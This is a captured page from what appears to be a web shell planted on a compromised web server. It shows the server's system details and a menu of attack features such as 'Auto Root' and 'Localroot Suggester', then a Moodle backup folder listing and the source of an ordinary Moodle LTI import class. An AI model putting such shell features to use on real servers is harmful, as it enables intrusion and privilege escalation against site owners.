Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
backup /
cc /
Delete
Unzip
Name
Size
Permission
Date
Action
cc_lib
[ DIR ]
drwxr-sr-x
2017-06-22 16:08
includes
[ DIR ]
drwxr-sr-x
2017-06-22 16:08
schemas
[ DIR ]
drwxr-sr-x
2017-06-22 16:09
schemas11
[ DIR ]
drwxr-sr-x
2017-06-22 16:09
sheets
[ DIR ]
drwxr-sr-x
2017-06-22 16:09
cc112moodle.php
9.25
KB
-rw-r--r--
2017-06-22 16:08
cc2moodle.php
29.12
KB
-rw-r--r--
2017-06-22 16:08
cc_includes.php
2.36
KB
-rw-r--r--
2017-06-22 16:08
entities.class.php
11.07
KB
-rw-r--r--
2017-06-22 16:08
entities11.class.php
3.17
KB
-rw-r--r--
2017-06-22 16:08
entity.forum.class.php
6.32
KB
-rw-r--r--
2017-06-22 16:08
entity.label.class.php
2.36
KB
-rw-r--r--
2017-06-22 16:08
entity.quiz.class.php
42.72
KB
-rw-r--r--
2017-06-22 16:08
entity.resource.class.php
8.04
KB
-rw-r--r--
2017-06-22 16:08
entity11.basiclti.class.php
4.86
KB
-rw-r--r--
2017-06-22 16:08
entity11.forum.class.php
6.31
KB
-rw-r--r--
2017-06-22 16:08
entity11.lti.class.php
4.76
KB
-rw-r--r--
2017-06-22 16:08
entity11.quiz.class.php
44.1
KB
-rw-r--r--
2017-06-22 16:08
entity11.resource.class.php
8.16
KB
-rw-r--r--
2017-06-22 16:08
restore_cc.php
4.63
KB
-rw-r--r--
2017-06-22 16:08
validator.php
6.96
KB
-rw-r--r--
2017-06-22 16:09
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package moodlecore * @subpackage backup-imscc * @copyright 2011 Darko Miletic (dmiletic@moodlerooms.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') or die('Direct access to this script is forbidden.'); class cc11_lti extends entities11 { public function generate_node () { cc2moodle::log_action('Creating BasicLTI mods'); $response = ''; if (!empty(cc2moodle::$instances['instances'][MOODLE_TYPE_LTI])) { foreach (cc2moodle::$instances['instances'][MOODLE_TYPE_LTI] as $instance) { $response .= $this->create_node_course_modules_mod_basiclti($instance); } } return $response; } private function create_node_course_modules_mod_basiclti ($instance) { $sheet_mod_basiclti = cc112moodle::loadsheet(SHEET_COURSE_SECTIONS_SECTION_MODS_MOD_LTI); $topic_data = $this->get_basiclti_data($instance); $result = ''; if (!empty($topic_data)) { $find_tags = array('[#mod_instance#]' , '[#mod_basiclti_name#]' , '[#mod_basiclti_intro#]' , '[#mod_basiclti_timec#]' , '[#mod_basiclti_timem#]' , '[#mod_basiclti_toolurl#]', '[#mod_basiclti_icon#]' ); $replace_values = array($instance['instance'], $topic_data['title'], $topic_data['description'], time(),time(), $topic_data['launchurl'], $topic_data['icon'] ); $result = str_replace($find_tags, $replace_values, $sheet_mod_basiclti); } return $result; } protected function getValue($node, $default = '') { $result = $default; if (is_object($node) && ($node->length > 0) && !empty($node->item(0)->nodeValue)) { $result = htmlspecialchars(trim($node->item(0)->nodeValue), ENT_COMPAT, 'UTF-8', false); } return $result; } public function get_basiclti_data($instance) { $topic_data = ''; $basiclti_file = $this->get_external_xml($instance['resource_indentifier']); if (!empty($basiclti_file)) { $basiclti_file_path = cc2moodle::$path_to_manifest_folder . DIRECTORY_SEPARATOR . $basiclti_file; $basiclti_file_dir = dirname($basiclti_file_path); $basiclti = $this->load_xml_resource($basiclti_file_path); if (!empty($basiclti)) { $xpath = cc2moodle::newx_path($basiclti, cc112moodle::$basicltins); $topic_title = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:title'),'Untitled'); $blti_description = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:description')); $launch_url = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:launch_url')); $launch_icon = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:icon')); $tool_raw = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:vendor/lticp:code'),null); $tool_url = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:vendor/lticp:url'),null); $tool_desc = $this->getValue($xpath->query('/xmlns:cartridge_basiclti_link/blti:vendor/lticp:description'),null); $topic_data['title' ] = $topic_title; $topic_data['description'] = $blti_description; $topic_data['launchurl' ] = $launch_url; $topic_data['icon' ] = $launch_icon; $topic_data['orgid' ] = $tool_raw; $topic_data['orgurl' ] = $tool_url; $topic_data['orgdesc' ] = $tool_desc; } } return $topic_data; } }